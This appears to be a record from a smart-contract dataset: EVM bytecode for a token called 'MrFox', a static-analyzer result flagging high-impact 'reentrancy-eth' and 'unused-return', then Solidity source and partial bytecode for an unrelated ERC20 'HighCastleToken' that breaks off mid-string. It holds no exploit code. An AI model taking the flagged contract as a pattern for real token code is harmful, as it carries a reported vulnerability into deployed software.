0401610aba90612c5c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b89611407565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0d90612c5c565b60405180910390fd5b68056bc75e2d63100000600f8190555068056bc75e2d63100000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f4d72466f78000000000000000000000000000000000000000000000000000000815250905090565b6000610cb2610cab611407565b84846115d8565b6001905092915050565b610cc4611407565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4890612c5c565b60405180910390fd5b60008111610d5e57600080fd5b610d8d6064610d7f8368056bc75e2d63100000611ccd90919063ffffffff16565b611d4790919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd7611407565b73ffffffffffffffffffffffffffffffffffffffff1614610df757600080fd5b6000610e02306109dd565b9050610e0d81611e6b565b50565b610e18611407565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9c90612c5c565b60405180910390fd5b600e60149054906101000a900460ff1615610ef5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eec90612d6e565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f8530600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1668056bc75e2d6310000061140f565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fd0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ff49190612da3565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561105b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061107f9190612da3565b6040518363ffffffff1660e01b815260040161109c929190612dd0565b6020604051808303816000875af11580156110bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110df9190612da3565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611168306109dd565b600080611173610c38565b426040518863ffffffff1660e01b815260040161119596959493929190612e3e565b60606040518083038185885af11580156111b3573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111d89190612eb4565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff0219169083151502179055506112426103e8611234600f68056bc75e2d63100000611ccd90919063ffffffff16565b611d4790919063ffffffff16565b600f819055506112796103e861126b601e68056bc75e2d63100000611ccd90919063ffffffff16565b611d4790919063ffffffff16565b6010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611339929190612f07565b6020604051808303816000875af1158015611358573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061137c9190612f45565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361147e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147590612fe4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036114ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e490613076565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115cb91906128bd565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611647576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163e90613108565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036116b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ad9061319a565b60405180910390fd5b600081116116f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f09061322c565b60405180910390fd5b6000600a81905550600a600b81905550611711610c38565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561177f575061174f610c38565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c5957600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118285750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61183157600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118dc5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119325750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561194a5750600e60179054906101000a900460ff165b15611a8857600f54811115611994576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198b90613298565b60405180910390fd5b601054816119a1846109dd565b6119ab91906132b8565b11156119ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119e39061335a565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a3757600080fd5b601e42611a4491906132b8565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611b335750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611b895750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b9f576000600a81905550600a600b819055505b6000611baa306109dd565b9050600e60159054906101000a900460ff16158015611c175750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c2f5750600e60169054906101000a900460ff165b15611c5757611c3d81611e6b565b60004790506000811115611c5557611c5447611d91565b5b505b505b611c648383836120e4565b505050565b6000838311158290611cb1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ca8919061276e565b60405180910390fd5b5060008385611cc0919061337a565b9050809150509392505050565b6000808303611cdf5760009050611d41565b60008284611ced91906133ae565b9050828482611cfc9190613437565b14611d3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d33906134da565b60405180910390fd5b809150505b92915050565b6000611d8983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120f4565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611df9573d6000803e3d6000fd5b5050565b6000600854821115611e44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e3b9061356c565b60405180910390fd5b6000611e4e612157565b9050611e638184611d4790919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611ea357611ea26128dd565b5b604051908082528060200260200182016040528015611ed15781602001602082028036833780820191505090505b5090503081600081518110611ee957611ee8612c7c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f90573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fb49190612da3565b81600181518110611fc857611fc7612c7c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061202f30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461140f565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161209395949392919061364a565b600060405180830381600087803b1580156120ad57600080fd5b505af11580156120c1573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b6120ef838383612182565b505050565b6000808311829061213b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612132919061276e565b60405180910390fd5b506000838561214a9190613437565b9050809150509392505050565b600080600061216461234d565b9150915061217b8183611d4790919063ffffffff16565b9250505090565b600080600080600080612194876123af565b9550955095509550955095506121f286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061228785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461246190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122d3816124bf565b6122dd848361257c565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161233a91906128bd565b60405180910390a3505050505050505050565b60008060006008549050600068056bc75e2d63100000905061238368056bc75e2d63100000600854611d4790919063ffffffff16565b8210156123a25760085468056bc75e2d631000009350935050506123ab565b81819350935050505b9091565b60008060008060008060008060006123cc8a600a54600b546125b6565b92509250925060006123dc612157565b905060008060006123ef8e87878761264c565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061245983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c69565b905092915050565b600080828461247091906132b8565b9050838110156124b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124ac906136f0565b60405180910390fd5b8091505092915050565b60006124c9612157565b905060006124e08284611ccd90919063ffffffff16565b905061253481600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461246190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125918260085461241790919063ffffffff16565b6008819055506125ac8160095461246190919063ffffffff16565b6009819055505050565b6000806000806125e260646125d4888a611ccd90919063ffffffff16565b611d4790919063ffffffff16565b9050600061260c60646125fe888b611ccd90919063ffffffff16565b611d4790919063ffffffff16565b9050600061263582612627858c61241790919063ffffffff16565b61241790919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126658589611ccd90919063ffffffff16565b9050600061267c8689611ccd90919063ffffffff16565b905060006126938789611ccd90919063ffffffff16565b905060006126bc826126ae858761241790919063ffffffff16565b61241790919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561270f5780820151818401526020810190506126f4565b8381111561271e576000848401525b50505050565b6000601f19601f8301169050919050565b6000612740826126d5565b61274a81856126e0565b935061275a8185602086016126f1565b61276381612724565b840191505092915050565b600060208201905081810360008301526127888184612735565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006127cf826127a4565b9050919050565b6127df816127c4565b81146127ea57600080fd5b50565b6000813590506127fc816127d6565b92915050565b6000819050919050565b61281581612802565b811461282057600080fd5b50565b6000813590506128328161280c565b92915050565b6000806040838503121561284f5761284e61279a565b5b600061285d858286016127ed565b925050602061286e85828601612823565b9150509250929050565b60008115159050919050565b61288d81612878565b82525050565b60006020820190506128a86000830184612884565b92915050565b6128b781612802565b82525050565b60006020820190506128d260008301846128ae565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61291582612724565b810181811067ffffffffffffffff82111715612934576129336128dd565b5b80604052505050565b6000612947612790565b9050612953828261290c565b919050565b600067ffffffffffffffff821115612973576129726128dd565b5b602082029050602081019050919050565b600080fd5b600061299c61299784612958565b61293d565b905080838252602082019050602084028301858111156129bf576129be612984565b5b835b818110156129e857806129d488826127ed565b8452602084019350506020810190506129c1565b5050509392505050565b600082601f830112612a0757612a066128d8565b5b8135612a17848260208601612989565b91505092915050565b600060208284031215612a3657612a3561279a565b5b600082013567ffffffffffffffff811115612a5457612a5361279f565b5b612a60848285016129f2565b91505092915050565b600080600060608486031215612a8257612a8161279a565b5b6000612a90868287016127ed565b9350506020612aa1868287016127ed565b9250506040612ab286828701612823565b9150509250925092565b600060208284031215612ad257612ad161279a565b5b6000612ae0848285016127ed565b91505092915050565b600060ff82169050919050565b612aff81612ae9565b82525050565b6000602082019050612b1a6000830184612af6565b92915050565b612b2981612878565b8114612b3457600080fd5b50565b600081359050612b4681612b20565b92915050565b600060208284031215612b6257612b6161279a565b5b6000612b7084828501612b37565b91505092915050565b600060208284031215612b8f57612b8e61279a565b5b6000612b9d84828501612823565b91505092915050565b612baf816127c4565b82525050565b6000602082019050612bca6000830184612ba6565b92915050565b60008060408385031215612be757612be661279a565b5b6000612bf5858286016127ed565b9250506020612c06858286016127ed565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612c466020836126e0565b9150612c5182612c10565b602082019050919050565b60006020820190508181036000830152612c7581612c39565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612ce582612802565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612d1757612d16612cab565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612d586017836126e0565b9150612d6382612d22565b602082019050919050565b60006020820190508181036000830152612d8781612d4b565b9050919050565b600081519050612d9d816127d6565b92915050565b600060208284031215612db957612db861279a565b5b6000612dc784828501612d8e565b91505092915050565b6000604082019050612de56000830185612ba6565b612df26020830184612ba6565b9392505050565b6000819050919050565b6000819050919050565b6000612e28612e23612e1e84612df9565b612e03565b612802565b9050919050565b612e3881612e0d565b82525050565b600060c082019050612e536000830189612ba6565b612e6060208301886128ae565b612e6d6040830187612e2f565b612e7a6060830186612e2f565b612e876080830185612ba6565b612e9460a08301846128ae565b979650505050505050565b600081519050612eae8161280c565b92915050565b600080600060608486031215612ecd57612ecc61279a565b5b6000612edb86828701612e9f565b9350506020612eec86828701612e9f565b9250506040612efd86828701612e9f565b9150509250925092565b6000604082019050612f1c6000830185612ba6565b612f2960208301846128ae565b9392505050565b600081519050612f3f81612b20565b92915050565b600060208284031215612f5b57612f5a61279a565b5b6000612f6984828501612f30565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612fce6024836126e0565b9150612fd982612f72565b604082019050919050565b60006020820190508181036000830152612ffd81612fc1565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006130606022836126e0565b915061306b82613004565b604082019050919050565b6000602082019050818103600083015261308f81613053565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006130f26025836126e0565b91506130fd82613096565b604082019050919050565b60006020820190508181036000830152613121816130e5565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006131846023836126e0565b915061318f82613128565b604082019050919050565b600060208201905081810360008301526131b381613177565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006132166029836126e0565b9150613221826131ba565b604082019050919050565b6000602082019050818103600083015261324581613209565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b60006132826019836126e0565b915061328d8261324c565b602082019050919050565b600060208201905081810360008301526132b181613275565b9050919050565b60006132c382612802565b91506132ce83612802565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561330357613302612cab565b5b828201905092915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b6000613344601a836126e0565b915061334f8261330e565b602082019050919050565b6000602082019050818103600083015261337381613337565b9050919050565b600061338582612802565b915061339083612802565b9250828210156133a3576133a2612cab565b5b828203905092915050565b60006133b982612802565b91506133c483612802565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156133fd576133fc612cab565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061344282612802565b915061344d83612802565b92508261345d5761345c613408565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006134c46021836126e0565b91506134cf82613468565b604082019050919050565b600060208201905081810360008301526134f3816134b7565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613556602a836126e0565b9150613561826134fa565b604082019050919050565b6000602082019050818103600083015261358581613549565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6135c1816127c4565b82525050565b60006135d383836135b8565b60208301905092915050565b6000602082019050919050565b60006135f78261358c565b6136018185613597565b935061360c836135a8565b8060005b8381101561363d57815161362488826135c7565b975061362f836135df565b925050600181019050613610565b5085935050505092915050565b600060a08201905061365f60008301886128ae565b61366c6020830187612e2f565b818103604083015261367e81866135ec565b905061368d6060830185612ba6565b61369a60808301846128ae565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006136da601b836126e0565b91506136e5826136a4565b602082019050919050565b60006020820190508181036000830152613709816136cd565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205cf5dd1f523094611049f2f97f73fb5c029154222cff17a549bd16ae8d3c56a364736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
7,657
0x9a1c7577a69ea9e296ef99bfb0eb6bedbe352a36
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } } contract HasNoEther is Ownable { /** * @dev Constructor that rejects incoming Ether * @dev The `payable` flag is added so we can access `msg.value` without compiler warning. If we * leave out payable, then Solidity will allow inheriting contracts to implement a payable * constructor. By doing it this way we prevent a payable constructor from working. Alternatively * we could use assembly to access msg.value. */ function HasNoEther() public payable { require(msg.value == 0); } /** * @dev Disallows direct send by settings a default function without the `payable` flag. */ function() external { } /** * @dev Transfer all Ether held by the contract to the owner. */ function reclaimEther() external onlyOwner { assert(owner.send(this.balance)); } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value > 0); require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); Burn(burner, _value); } } contract HighCastleToken is BurnableToken, HasNoEther { string public constant name = "HighCastle Token"; string public constant symbol = "AIMS"; uint8 public constant decimals = 8; uint256 constant INITIAL_SUPPLY = 2000000000 * (10 ** uint256(decimals)); uint256 constant FREEZE_END = 1520553600; // 1520553600 - Fri, 09 Mar 2018 00:00:00 GMT /** * @dev Constructor that gives msg.sender all of existing tokens. */ function HighCastleToken() public { totalSupply = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; Transfer(address(0), msg.sender, totalSupply); } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(msg.sender == owner || now >= FREEZE_END); return super.transfer(_to, _value); } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(msg.sender == owner || now >= FREEZE_END); return super.transferFrom(_from, _to, _value); } /** * @dev Multi transfer token for a specified address * @param _to The array addresses to transfer to. * @param _value The array amounts to be transferred. */ function multiTransfer(address[] _to, uint256[] _value) public { require(_to.length == _value.length); for (uint i = 0; i < _to.length; i++) { transfer(_to[i], _value[i]); } } }
0x6060604052600436106100da5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100e7578063095ea7b31461017157806318160ddd146101a75780631e89d545146101cc57806323b872dd1461025b578063313ce5671461028357806342966c68146102ac57806366188463146102c257806370a08231146102e45780638da5cb5b1461030357806395d89b41146103325780639f727c2714610345578063a9059cbb14610358578063d73dd6231461037a578063dd62ed3e1461039c575b34156100e557600080fd5b005b34156100f257600080fd5b6100fa6103c1565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561013657808201518382015260200161011e565b50505050905090810190601f1680156101635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561017c57600080fd5b610193600160a060020a03600435166024356103f8565b604051901515815260200160405180910390f35b34156101b257600080fd5b6101ba610464565b60405190815260200160405180910390f35b34156101d757600080fd5b6100e560046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284375094965061046a95505050505050565b341561026657600080fd5b610193600160a060020a03600435811690602435166044356104c9565b341561028e57600080fd5b61029661050b565b60405160ff909116815260200160405180910390f35b34156102b757600080fd5b6100e5600435610510565b34156102cd57600080fd5b610193600160a060020a03600435166024356105d9565b34156102ef57600080fd5b6101ba600160a060020a03600435166106d3565b341561030e57600080fd5b6103166106ee565b604051600160a060020a03909116815260200160405180910390f35b341561033d57600080fd5b6100fa6106fd565b341561035057600080fd5b6100e5610734565b341561036357600080fd5b610193600160a060020a0360043516602435610787565b341561038557600080fd5b610193600160a060020a03600435166024356107c7565b34156103a757600080fd5b6101ba600160a060020a036004358116906024351661086b565b60408051908101604052601081527f48696768436173746c6520546f6b656e00000000000000000000000000000000602082015281565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60005481565b6000815183511461047a57600080fd5b5060005b82518110156104c4576104bb83828151811061049657fe5b906020019060200201518383815181106104ac57fe5b90602001906020020151610787565b5060010161047e565b505050565b60035460009033600160a060020a03908116911614806104ed5750635aa1ce804210155b15156104f857600080fd5b610503848484610896565b949350505050565b600881565b600080821161051e57600080fd5b600160a060020a03331660009081526001602052604090205482111561054357600080fd5b5033600160a060020a0381166000908152600160205260409020546105689083610a18565b600160a060020a03821660009081526001602052604081209190915554610595908363ffffffff610a1816565b600055600160a060020a0381167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58360405190815260200160405180910390a25050565b600160a060020a0333811660009081526002602090815260408083209386168352929052908120548083111561063657600160a060020a03338116600090815260026020908152604080832093881683529290529081205561066d565b610646818463ffffffff610a1816565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b600160a060020a031660009081526001602052604090205490565b600354600160a060020a031681565b60408051908101604052600481527f41494d5300000000000000000000000000000000000000000000000000000000602082015281565b60035433600160a060020a0390811691161461074f57600080fd5b600354600160a060020a